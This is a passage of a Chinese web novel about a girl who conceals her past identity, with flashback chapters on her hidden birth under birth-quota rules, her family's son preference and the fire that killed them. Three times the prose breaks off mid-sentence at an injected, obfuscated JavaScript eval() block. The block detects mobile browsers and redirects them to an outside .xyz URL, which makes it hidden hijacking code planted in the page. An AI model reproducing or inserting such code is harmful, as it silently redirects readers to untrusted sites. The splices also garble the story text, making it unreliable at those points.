喻挽灵有点震撼,没想到秋岚在荧屏前表现得温柔知性,在教育自己的孩子时,手段却这么极端。 她又想起在地下室看到的血*腥影片,赶紧说了一遍江斯澄被关在地下室的事,她还特意强调了一下地下室里播放的影片内容。 “感觉不像电影,太真了,镜头也晃来晃去的,感觉是真的……”影片里的残忍画面历历在目,喻挽灵都不想去回忆。 喻香秀对此丝毫不惊讶,这对她来说好像不是什么稀奇事,她挑眉冷笑,“肯定是真的,不过你先别好奇这个,也别问江斯澄。毕竟秋岚没有出现在视频里,视频不能证明她参与了,这种涉*黑的事情牵扯很多人的利益,要是被她知道你看见了就麻烦了。” 喻挽灵点点头表示明白,她又把班上最近发生的事情跟喻香秀说了,听到她被孤立,喻香秀皱眉思考了一下,提醒她:“以后你还是别去出这种风头了……既然事情已经发生……那就不要让你白帮忙了,要利用机会。” 喻挽灵一头雾水,“利用?怎么利用?” “江斯澄被关在地下室的时候胃疼犯了,你不是帮了他吗?现在你被同学‘欺负’,就拿上一次帮忙的事去和他交易,让他帮回你。” 喻挽灵“啊?”一声,有点难为情,“可我帮他……本来就没指望他能回报我,是他当时的脸色实在是白得太吓人了……再说了……他那么心高气傲,我要他帮回我他就会答应吗?这……” 喻香秀握住她的肩膀,郑重地说:“我们没有回头路,已经走到了这一步,什么方法也要试,不试怎么知道呢?而且……我告诉你,人的底线下限是可以慢慢降低的,万事开头难,只要他会松口答应你的请求,后面就可以答应你更多事情。” 喻挽灵先是在微信找他,但是他没有搭理自己,她只好想办法在学校当面找他了。 中午一放学,她就飞奔到A栋等1班下课。 她守在楼梯口,千等万等终于等到了江斯澄。 江斯澄自然也看见了他,两人对视了一眼,他权当没看见她,直接别开目光径直从她面前走过。 喻挽灵也没喊他,像个跟班一样跟着他一路走。 周围的同学都向她投来异样的目光,喻挽灵低下头,尽量回避大家的注视。 江斯澄人高腿长,走得比较快,到了人*流汹涌的地方时,她还差点跟丢,要看着要把人跟丢,她赶紧拨开人群一路小跑追随。 到了操场,江斯澄停下脚步,侧过脸对她冷声说:“别跟着我。” “江斯澄……我……我最近得罪了我们班的人,我怕他们放学找我麻烦……如果我走在你身边,他们肯定不敢来找我……所以……能不能让我跟着你走到地铁站?”喻挽灵恳求,还殷切地保证说:“我会和你保持距离,不会找你说话打扰你!” 最后,喻挽灵还特意强调:“上次你被关进地下室,我帮了你,这次……”说到这里,她觉得有点难为情,因为她打心底不愿意用这种理由要挟别人,所以心虚地别开了脸,声音也弱了,“……你能不能也帮我一次?” 江斯澄淡淡地扫了她一眼,看不出情绪。 喻挽灵低着头,等着他的回答,可是她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15183264|165385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没等到他的答复,他什么也没说,直接往前走了。 喻挽灵摸不清他是什么意思,不知道他是不是在拒绝自己。反正他没明着拒绝,她也不甘心放弃,提步追上去,继续跟着他走,想试探一下他的反应。 跟了几步,江斯澄头也不回,冷冷地提醒道:“别离我太近。” “哦……”喻挽灵赶紧走远一点,和他保持一米以上的距离。 她抬起眼皮小心翼翼地打量了一眼了他的背影,心想:所以……他这是……默许了? 学校门口人流量大,为了保障学生的出行安全,放学期间校门口及附近都不能停泊车辆,接送江斯澄的车一般停在五百米外的地方,所以喻挽灵还可以跟他继续走,等远远地看见了他的车时,她识趣地走开了。 为了能迎合他的上学时间,喻挽灵只能起得更早一点。江斯澄是个很作息规律又准时的人,他每天出发上学的时间是固定的,喻挽灵只要掐好时间出发,一出地铁站基本就能刚好遇到江斯澄,然后就可以跟着他一起进学校。 虽然她不想像个跟班一样总缠在他身边,但是不得不承认的是,在他的两米直径范围内确实很安全。因为他总是独来独往,没有乱七八糟的朋友,加上他的身份特殊,所以根本没人敢招惹他,别人也不会想在他身边惹事,谁都怕惹麻烦。 喻挽灵跟在他身后,叹了口气,心想:这种生活什么时候才能结束?等一切都结束了,她是不是就可以不用总是想法设法地缠着江斯澄,是不是就可以好好过自己的生活了呢? 想着想着,迎面走来一个男生,他从老远就盯着喻挽灵看个没停,等走近了还在打量她。 自从她跟着江斯澄上学放学开始,一路上都是这样的目光,所以喻挽灵也没多想,没想到他上前一步,拦在她面前,迟疑地叫她:“……许盼男?” 听到这三个字,喻挽灵的心跳顿时漏跳一拍,她不敢回应他,只能假装没听见,迈大步子加快行走速度。 她瞄了一眼走在前面的江斯澄,心里祈祷他没有听见。 可是那个男生没有罢休,他又追上来,还大声叫她“许盼男”。 又不是聋子,喻挽灵也不能继续装听不见了,她回头看着男生,说:“你在叫我吗?我不是你叫的那个人,你认错了。” 得到否定的回答,男生迷茫了一下,继续上下打量她,一边说:“你就是呀!你的长相又没什么变化,就是皮肤更白了、多戴了一副眼镜而已。” 喻挽灵有点烦他这样,都否认了怎么非要揪着不放呢?她不耐烦地说:“都说了不是了!”然后拔腿就走,不想理会他。 她这幅样子反而让男生更加笃定她就是“许盼男”,他又缠上去,说得喋喋不休,“我是许书彬呀,你不记得我了,我可还记得你!你怎么改名字了呀?就连姓也改了?” 喻挽灵心里憋气,真想拿胶布封住他的嘴,什么时候认出她不好,偏偏在江斯澄身边的时候…… 怕江斯澄会听见,她赶紧调转方向走,想远离江斯澄。 “真没想到能在南槐实验遇见你!你怎么会在这里上学?我记得你爸爸妈妈不是……不是‘不在’了吗?” 听到这句话,喻挽灵终于忍不住,转过身瞪他。 与此同时,让她更害怕的事情发生了,江斯澄也停下了脚步,转身往他们的方向看了过来。 15. 往年冬至 在喻挽灵13岁之前,名字不是“喻挽灵”,而是叫做“许盼男”。 在她还小的时候,她总以为父母很爱自己,因为爸爸总是和她说:“你妈妈为了生你,吃了很多苦,你要多心疼妈妈,要对妈妈好。” 她不是在医院出生的,而是在猪圈里由姑奶接生的。每当母亲回忆起生她的场面,感叹最多的就是“觉得心惊胆战”,母亲说,生她那天是冬至,猪圈里又臭又冷,生产的时候明明痛得受不了,但是又不敢大叫,一是怕猪会受惊跑出围栏,二是怕有计生办的人来查。 喻挽灵那时候年纪太小,小小的脑袋思维简单,从没细想过为什么生孩子要这样偷偷摸摸地去猪圈生、怕被人发现还不敢发出动静。这种事情对当时的她来说实在太复杂了,只知道妈妈很不容易。 父亲还说,当年生完她,有些关系近的亲戚劝他们偷偷丢掉她算了,但是他们都不愿意,说好歹也是自己的亲身骨肉,怎么忍心丢掉。每当父亲说到这里,喻挽灵总是感动万分。虽然爸爸妈妈长期不在身边,但她觉得仍然觉得他们是爱自己的。 许父许母生完她就去县城做生意了,喻挽灵被留在乡下,由爷爷奶奶带大。小学低年级之前的记忆保留得比较模糊,她只记得乡下的生活没有城市里这么多规矩,土房子里又很暗,大家喜欢端着饭碗去门口吃,要是有人从门前路过,还能打打招呼然后开始谈天说地。喻挽灵蹲在门口吃饭的时候,就经常被路过的大人调侃:“许盼男,你的爸爸妈妈呢?怎么还不回来看你?” 喻挽灵总是自豪地大声回答:“他们出去打工赚钱啦!赚到钱了就会回来看我!” 她的回答引得大人捧腹大笑,喻挽灵也跟着傻乐,小小的她不懂什么是调侃,她一直以为大人们是喜欢她的童言童语才笑得这样开心。 吃完晚饭,听说村里今晚会放露天电影,喻挽灵赶紧搬着小板凳跑去占位置。村委会有时候会在村广场放露天电影,住在附近的人都会跑来看,大家最喜欢看秋岚演的电影。 秋岚的美实在太夺目,只要出现她的镜头,观众就无法挪开视线。她塑造的角色多是痴情女,在影片中,她为男主痴情奉献,哭得梨花带雨,楚楚可怜的样子看得男观众为之心疼、女观众为之共情。就是因为秋岚演的角色太深入人心,所以她的知名度很高,谁都认识她,上至六十岁老人下至6岁小孩。喻挽灵和同村的女孩一起玩扮演游戏时,大家都争着扮演秋岚演过的角色,有一次她们几个女孩一起对着星星许愿,不约而同地许下了“长大以后要变得和秋岚一样漂亮”的愿望。 可惜的是,她在三十岁时因为结婚生子而息影,没有再出新作品了。 那晚的露天电影是放映的哪一部?喻挽灵记不起来了,但是她清楚地记得,在电影接近尾声时,好久没回家的爸爸妈妈回来了。当时是别人拍她的肩膀提醒她,她一回头,先是看见了父亲手里大袋小袋的零食大礼包,第二眼就看见了母亲隆起的肚子。 许父许母在县城开了一家饺子馆,做这种小本生意每天都要起早贪黑的,又是夫妻店,就两个人经营,休息时间都没多少,所以很少回乡下老家,但是他们每次回来都会和爷爷奶奶促膝长谈至深夜,这晚也不例外。 他们四个大人坐在餐厅里,边泡茶边聊天,喻挽灵睡觉的房间就在餐厅对角处,她睡不着,便好奇地蹲在窗户下面偷听。 刚好奶奶在说话:“当初怀盼男的时候不是不知道是男是女吗?好在你爸明智,说第一个还是躲起来生比较好,是男娃就公开,是女娃就放家里养。城里抓得严,要不这个也回来养胎?” 许母:“妈,现在和怀盼男那时候不一样了,之前不上班,还能躲起来怀躲起来生。现在做生意了,店里又开始赚钱了,离不开。我要是回来养胎,就得花钱请人,不划算。” 爷爷叹口气,说:“这确实是,不过你们这也算是‘头胎’,要是生出来还是女娃就女娃吧,现在还有政策,农村户口的,头胎是女娃还允许再生一个。” 他们的对话把喻挽灵听得云里雾里的,但是她能隐约感觉到,大家好像更想要生个弟弟。 这次怀孕是光明正大的,所以到了生产的时候,不再是躲在猪圈里,而是去了卫生院。 生了一个妹妹,取名“许想男”。 似乎是不甘心,次年许父许母又怀孕了,只是生下来还是女儿,他们似乎认命一般,给老三取名“许胜男”,期许家中的女孩比男孩要更胜一筹。 两个妹妹并没有像喻挽灵一样被放在老家养,而是被许父许母带去了县城,光明正大地养在身边。喻挽灵也想要跟着去县城,却总是被拒绝,爷爷劝慰她:“等你再长大一点就带你去城里。” 她不知道这个“长大”是要长到多少岁,就这么等呀等,终于在6岁的暑假,被父母带进了城。 但只是待一个暑假而已。 两个妹妹对于她的到来是既新奇又激动,因为彼此没有共同生活过,所以对于妹妹们来说,就是多了一个玩伴而已,她们并没有“这个姐姐也是爸爸妈妈的女儿”的意识。每当喻挽灵想拿家里的东西时,总是会被两个妹妹善意地制止:“别动我爸爸的东西,他会生气哦!” 当喻挽灵好奇地看他们拍的“全家福”时,二妹也会认真地向她介绍:“你看,这个是我妈妈,这个是我,这个是妹妹!” 这话听得喻挽灵心里酸溜溜的,她觉得有点失落,明明她也是爸爸妈妈生的女儿呀。 每当妈妈听到妹妹们这样说,总会纠正她们:“你们不能这么说话!盼男姐姐也是爸爸妈妈生的,她是家里的大姐姐!” 可是妹妹们太小了,逻辑思维还不强,脑袋总转不过弯来,再加上一直“我爸爸我妈妈”地说习惯了,怎么都纠正不过来。 除此之外,许父许母还不让她在外人面前叫他们爸爸妈妈,只能叫叔叔阿姨。每次在店里帮忙时,总有熟客指着喻挽灵跟他们开玩笑,说他们是不是偷偷生了一个女儿,和他们有点像。 面对这种问题,许父许母矢口否认。 “怎么可能是我们的女儿哦,这是亲戚家的,暑假过来玩的,几个小孩子有伴哇。” 说者无意,听者有心。父母的否认像针一样扎在喻挽灵的心里,又痛又酸。她这才后知后觉地明白,怪不得总把自己放在乡下生活,原来她是“见不得人”的,又难怪在每次填写户籍信息的时候,她的父母是两个陌生的名字,原来她是被上户到一个远房亲戚家,许父许母不是她名义上的父母。 于是,才来父母身边呆了一个月,喻挽灵就想回乡下老家了。她的心里很不是滋味,还为此闹过小情绪,但是父母太忙了,休息都不够,又哪里会注意她的小情绪?不过,他们再忙,母亲也会在深夜时悄声走进她们的房间,拿起被她们踢在一边的毯子,动作轻柔地盖回她们的肚皮。 小孩子的情绪来得快,走得也快。她才闹了几天的小脾气,就立马被父亲买的武大郎烧饼给收买了。武大郎烧饼香喷喷的,薄饼又脆脆的,咬一口还有少许香油流出来,她们三姐妹都很爱吃,尤其是两个妹妹,总爱缠着父母买。父亲不忙的时候回去买三个带回家,他把烧饼一一分发,发到喻挽灵手里的时候和她说:“盼男,这是你的,你喜欢番茄酱多一点,我叫卖烧饼的叔叔多涂了好多酱。” 他还摸了摸她的脑袋,继续说:“你也是爸爸妈妈的女儿,但是爸爸妈妈没有办法承认你,如果被别人知道了,会罚我们交很多很多的钱你也多体谅爸爸妈妈好吗?” 喻挽灵点头表示明白。 “烧饼好吃吗?”许父又问。 喻挽灵边吃边点头,这个烧饼确实太好吃了。 “去给妈妈也吃几口,要学会心疼妈妈,她生你们三姐妹受了不少罪。” 喻挽灵听话地跑进厨房找母亲,看见母亲站在不合身高的灶台前,佝偻着上半身炒菜。整个厨房又闷又热,像个蒸炉一样,她满脸满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15183265|165385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脖子的汗,手上空闲下来就用围裙抹一下脸。 这个场景看得喻挽灵心酸,那一瞬间她的所有别扭情绪都烟消云散。 又过了一年,母亲又怀孕了。这次怀孕,父亲不仅请了人在店里帮忙,还把母亲送回了乡下老家,由爷爷奶奶贴身照顾。 生产那天,父亲和她们一起在村里的卫生院等待。弟弟生出来的第一时间,一个助产护士冲出来找父亲,拿了一张单子对他快速询问:“小孩子一出生得打一个卡介苗,你们愿意吗?” 喻挽灵看见父亲皱了一下眉头,似乎有些不解,他没明白“卡介苗”是什么东西。 助产护士立刻说得通俗了一些,“就是打了不会得结核病的!” 父亲赶紧接笔,飞快地签字,同意接种卡介苗。 母亲生两个妹妹的时候,喻挽灵都在场,她清楚地记得,妹妹们出生的时候,没有护士阿姨询问父亲要不要打这个什么苗。 她好奇地问父亲:“爸爸,怎么弟弟一出生就要打针呀?我和妹妹有没有打这个针啊?” “你们应该没有打,都没人问我要不要给你们打。” 长大以后的喻挽灵才知道,卡介苗虽然是国家强制接种的免费疫苗,但是以前的乡下还是有很多思想顽固又缺乏医学常识的人,许多人对疫苗并不理解,坚决不同意打,怕把新生儿打残或者打出身体疾病,医院敢强行注射他们就敢医闹。再加上老家穷,卫生院储备的疫苗也不充足,所以迫于现实,卫生院的医护人员会询问一下家长愿不愿意让孩子接种,实在不愿意的就不强迫,就把有限疫苗留给想接种的家庭,但是只会询问生了男孩的家庭。 因为那时候,生育名额有限,很多人生了女儿并不想要,不是拿来送人就是丢掉,又怎么可能让女儿接种疫苗呢?所以护士干脆不问了,接生出男孩才会询问。 年幼的喻挽灵完全不懂这些事情,她只能被动地接受这种价值观,虽然隐隐觉得不妥当,可是大家都是这样做,又让她觉得好像又没哪里不对劲。 喻挽灵当时并没把这样不公平的事情放在心上,因为她有更期待的事情,那就是:她可能会被爸爸妈妈公开身份了。 以前听到过大人聊天,她知道父母生弟弟属于超生,可是爸爸妈妈从怀弟弟到生产,全程没有藏着掖着,而且听他们透露,生了弟弟会去交超生罚款。她觉得给弟弟交罚款的同时,肯定也会顺便交掉超生自己的罚款,所以满心期待着那一天。 她千等万盼,终于盼来了这一天,可是等来的却不是她想要的结果。 那天下午,父亲如同往常一样,给她们三姐妹每人带了一个武大郎烧饼。烧饼只有县城才能买到,她们现在住在乡下,三十公里的路程让烧饼还没到手都变凉了。 母亲抱着弟弟,问他:“罚款交了吗?” “交了……” 一旁的喻挽灵天真地插话:“那以后我是不是可以不用叫你们‘叔叔阿姨’了?” 许父和许母都愣了一下,一下子没理解她的意思,琢磨了一会儿才猜出了她的想法。许父连忙告诉她:“只交了弟弟的罚款,我们家的条件,哪里能同时交得起两个人的罚款呀。等你再长大了就不怕了,以后的政策会更松的,你要多体谅爸爸妈妈,爸爸妈妈赚钱也很不容易。” 那一瞬间,她突然尝到了书里写的“心情跌落谷底”的滋味。 她第一次发现,不是会给每一个人买烧饼就是公平的爱。 爷爷奶奶坐车坐不习惯,一坐就会晕车,他们没办法来县城照顾母亲,所以母亲在孕期的最后一个月就来了乡下住,这样爷爷奶奶才方便照顾。 弟弟出生7天,父亲得回去继续做生意了,他把两个妹妹又带回了县城生活,留下了母亲、刚满月的弟弟还有喻挽灵在乡下。 伯父伯母偶尔会来串门探望,几个大人聚在一起,最喜欢唠嗑别人家的长短事,喻挽灵听到他们提及最多的一个人就是“喻香秀”。 16. 往年大寒 喻香秀阿姨是伯母家的亲戚,算是伯母的表姐。 她在村里可以说是出名的一个人物,说是“出名”,其实她的“名声”并不好,大人们聊起她时,负面评价居多。 喻挽灵把大人透露出的零碎信息梳理了一下,大约知道了喻香秀是个“一根筋的傻女人”。她原本嫁了一个杀猪佬,这个杀猪佬的家离喻挽灵家不远。这一片是“许家村”,住的人都姓许,喻香秀嫁的男人也姓“许”。男人家既有田地又有鱼塘,白天卖猪肉卖鱼,能赚不少钱,家里最不缺的菜就是猪排骨。喻香秀怀孕的时候,个个都建议她躲起来怀躲起来生,说万一生的是女儿呢?叫她生出男娃再公开。但是她偏不,她说是男是女也是自己的娃,凭什么要躲起来。 后来肚子里出来的还真是女孩,男人家想要继续生儿子,于是动了把女儿送走的念头。喻香秀死活不乐意,一个家庭闹得鸡飞狗跳,后来她婆家先让了一步,说政策规定了头胎是女儿还可以再生一个,叫她干脆早早断了母乳,早点生二胎。喻香秀还是不肯,她还放出狠话,说:“就生这一个!我干嘛要因为生小孩躲躲藏藏的!要是再生个儿子出来,有谁会对我女儿好?!是女儿我也自己养!不接受就别搭伙过日子了!”他们经常吵架,还吵得很凶,最后还是在女儿满一岁时离婚,喻香秀从此成为了单亲妈妈。 离婚之后,喻香秀让女儿跟自己姓,把“许灵”改成了“喻灵”,然后自己带着女儿去城里找工作了。 她刚离婚的时候,喻挽灵听到长辈们都在背地里骂她傻,说有个有钱老公都不要,还带着一个女儿往外闯,值得吗? “她是不是也好几年没回家过年了?这几年都没见过她了。”许母边说边坐到簸箕前,端起来抖了抖,然后捞起一把花生开始剥。 这天是周末,喻挽灵不用上学,许母把喻挽灵也招呼过来一起帮忙。 伯母见状,也拽了一把竹椅过来,她坐在喻挽灵的旁边帮忙一起剥,嘴上回答:“就出去的头几年会回一下,最近这几年都不回了。听我大姑说,她总是说自己很忙,但是会经常给她们打打电话,还会时不时给我大姑和姑父打钱回来,给钱给得还挺大方的。” “有这么忙?过年都没时间回?怕是不想回吧?” “谁知道呢?但是也算忙出了点名堂,没白忙活,据说她在城里买房了。” 许母惊呼一句“老天!”,手上剥花生的动作停下来,眼睛都瞪圆了,“就她一个人赚钱,那么快就买房了啊!我和老许两个人一起开店做生意都还没赚到买房子的钱,一直也租房子住!她是做什么工作啊!这么赚钱!该不会……赚的是不干净的钱吧?” “这我就不清楚了……再说了,又不是全款买房子,贷了不少款呢!反正她具体做什么我们也不知道,好像卖过保险也卖过房子,听人家讲,卖出一套房子都好多提成呢!” “那也算她有本事……” “但是肯定也忙呀!你看她,忙得家都不回了。她当初别那么要强,跟着杀猪佬过不是更好?你看那个杀猪佬,现在讨了新老婆,又生到了儿子,他老婆都不出去找事做,专门在家里带娃,天天下午在院子里晒太阳嗑瓜子,日子过得多舒服。” “那是哦……”许母附和,“她女儿应该也好大了吧?我记得她女儿比我家老大大十岁来着,今年应该快18了吧?还在读书吗?” “在读高中,听说学习还蛮好的。” 喻挽灵夹在她们俩中间听八卦,听多了也不免对这个叫做“喻香秀”的“倔女人”感到好奇,不过,她自己也没想到,她们很快就见面了。 同年暑假,她见到了喻香秀和她的女儿喻灵,因为喻灵考到了大学,喻香秀带她回来在村里摆升学宴。 吃席的时候,大家都在暗地里打量喻香秀母女,喻挽灵也好奇,目光总是追随她们俩。可能是听多了她们的负面评价,她想象中的喻香秀是个不苟言笑、不好讲话的铁面阿姨,没想到她看起来精气神十足,穿着体面,说话做事都给人很干练的感觉。 她的女儿喻灵长得高挑漂亮,整个人阳光开朗又自信,比村里的女孩活泼大胆多了,面对这么多不认识的长辈也毫不怯场,大大方方地跟众人碰杯敬茶。 和喻挽灵坐同一桌的都是她家的亲戚,大家动着筷子,嘴也不闲着,既要吃菜还要边交头接耳地议论着喻香秀两母女。 “她女儿是出落得蛮漂亮哦!” “她也真是厉害,把女儿培养进了电影大学哎,学表演是不是要花几十万啊?” 喻香秀俩母女来他们这桌敬酒时,有人劝她:“香秀啊!其实还是找个好就业的专业好!” “是啊,你看电视上那些演员好多不结婚的,那个明星秋岚都30岁才生小孩!这哪里好?!” 长辈的建议让喻灵脸色不悦,她说道:“这是我自己的事!谢谢各位叔叔阿姨的建议,你们让自己的孩子早点结婚就行了。” “哎呀我家灵灵很有主见的!她会考虑好自己的事情,这些人生大事让她自己做决定!”喻香秀笑着圆场,“她从小就喜欢表演,我这个当妈的支持她就行了!” 众人和她简单地寒暄了两句就坐下,许母一坐下就对许父感慨:“她一个女人在外面闯,也实在不容易,还把女儿培养成了大学生,就是可惜只生了一个女儿,等女儿嫁出去了,就她一个老的在家,多寂寞。” 许父喝了一口酒,清清嗓子,惋惜地讲:“她蛮会赚钱,就是脑袋拎不清,犟死不听劝,就生一个女儿有什么用?拼搏大半辈子,到时候女儿一嫁人,什么都带去给婆家了,一辈子都在给未来婆家打工。” 他们谈论的这些让喻挽灵提不起兴趣,她在一旁闷头吃饭,不想听这些。她只记得父亲在吃饭前摸了摸她们三姐妹的头,说:“你们看,喻灵姐姐多厉害,要是你们长大以后也能考到大学,爸爸去街上给你们放鞭炮!” 她心想:如果她可以考上大学,爸爸是不是也会这样大张旗鼓地办升学宴?那时候他会不会以自己为荣,光明正大地向所有人宣布她就是他的女儿呢? 过完7月,弟弟就满月了。满月这天,父亲带了一个银制的长命锁和一对银镯子回来,他让母亲亲手编根红绳,然后把这个长命锁用红绳系在了弟弟的脖子上,但是弟弟还太小,又爱乱动,母亲怕勒脖子,还是摘下来了,只留了镯子在弟弟手上。 喻挽灵不懂这有什么寓意,她只觉得这个项链好漂亮,银闪闪的,上面还有好漂亮的花纹。她拿起来爱不释手地放在掌心把玩,求父亲也给自己买一个。 父亲拒绝了她,说这是给弟弟保平安的,女孩不需要这些。 她心底不免失落,但是又想不通,为什么女孩就不需要呢? 这个问题在她脑中盘旋了好长一段时间,随着时间的流逝又渐渐淡忘了,可是到了次年正月,这个问题又从她的脑海中跳出来困扰她。 在她的老家,每年的正月初十都会在祠堂举行“添丁点灯”仪式,“灯”通“丁”,爷爷说,家中若添丁,地日必上灯。家中生了男孩就被称为“添丁”,次年就要点灯祭祖,他的名字将正式录入族谱。 父亲早就为弟弟准备了一盏四方形的红灯笼,一面写上弟弟的名字,一面写上对他的祝福寄语。 点灯这天,锣鼓喧天、鞭炮齐鸣,参与点灯的家庭挑着担子排队进许氏宗祠。许父许母生育了四个孩子,今年终于可以参与点灯,虽然许父的肩上压着重重的担子,但是他还是一副 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15183266|165385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神采奕奕的样子,这份劳累让他甘之如饴。 长辈们将点亮的红灯笼挂在祠堂里,许父仰头看着自家的红灯笼,满脸欣慰。他端详了好一会儿,似乎发现灯笼有点歪,又小心地扶正。 目睹这一切的喻挽灵好奇地问母亲:“我和妹妹有灯笼吗?” “女孩子是没有的,生男孩才要挂灯笼。” “为什么生男孩才能挂灯笼?”喻挽灵继续问。 “男人可是家里的顶梁柱……家里没男孩是不行的……你现在还不明白,等你长大了就知道了。” 喻挽灵怎么想也想不明白,她看了一眼周围,在这喜庆的日子,到处张灯结彩,无论老人还是小孩,无论男人还是女人,没有人的脸上有异色,大家都沉浸在这喜气洋洋的气氛中。 晚上的时候,喻挽灵一个人跑到祠堂门口看这一排排的红灯笼。中国人喜欢大红色,遇喜事总爱挂红灯笼庆祝,可是这些耀眼的红色没让她感受到半分喜悦。 大家将这世间最诚挚最美好的祝福通通献给了家中的男孩,这里挂了这么多盏灯,没有一盏是为女孩点燃的。 时间过得很快,一眨眼弟弟就会走路了,但是走得磕磕绊绊,脸上天天都有新淤青。许父许母心疼他,有了请佛灯保他平安的想法。他们特意选了一个黄道吉日,抱着弟弟去寺庙里为他请了一盏长明灯。 这盏长明灯平时供奉在寺庙的佛像前,昼夜燃烧不熄,但是每个月要定时去供奉。于是,许父许母每月都会去一趟寺庙,奉上香火钱,并且虔诚地跪拜,为他们唯一的儿子送上最虔诚的祝福。 这次,喻挽灵没有再好奇自己和妹妹有没有长明灯,她觉得肯定是没有的。 许父许母虔诚地供奉着这盏长明灯,每月风雨无阻,一次也不会落下。可是人算不如天算,灾祸来临的时候,躲都躲不及。 许父许母的饺子馆经营得风生水起,在晋川县小有名气,他们也赚了点钱,终于在喻挽灵11岁这年买了一辆小轿车。 有了自己的车,他们往返于城乡之间就不用再坐公交往返,交通便利了许多。买车这年,他们如同往常一样,大年三十在乡下过年,过了初四要回县城做生意。本来也要带上喻挽灵一起在城里过寒假,但是因为有四个孩子,四个孩子加上两个大人就超载了。孩子不太占位置,勉强挤挤可以坐得下,但是偏偏过年期间城里查超载查得很严,许父许母不敢冒险,就留了最大的喻挽灵在老家。 母亲和她说:“你在家多帮爷爷奶奶做点事,过两天我们会来接你进城。” 喻挽灵千万个不情愿,但是也只能乖乖地留在乡下,数着日子等他们来。 可是,她再也没等到他们,等来的是他们的死讯。 过年期间,许多家庭喜欢在家里点香烛敬神,许父许母也不例外。他们在阳台上点了两根香烛,烛火半夜烧着了,偏偏阳台上又堆积了很多废纸壳,火势迅速蔓延。着火的时候大家都在熟睡,没有人及时发现火情,于是,一家五口便活活烧死在家里。 长命锁和长明灯都没有保住弟弟的命,反而是被落在老家的喻挽灵幸运地保住了性命。 那段时光实在是太悲痛,喻挽灵已经记不清那之后具体发生的事,只记得自己突然失去了爸爸妈妈和弟弟妹妹,每天都悲伤地以泪洗面。爷爷奶奶也一夜间苍老了许多。他们生育了两个孩子,伯父是老大,许父是老两口最疼的老幺,他们遭受不住白发人送黑发人的打击,整日抑郁寡欢,在那年下半年的冬天,爷爷心梗去世,奶奶也中风了。 每次回想到那年,喻挽灵都感觉那一年是个大凶年,因为什么不详的事都聚在那一年爆发。 就连喻香秀的女儿喻灵,也是在那一年疯掉的。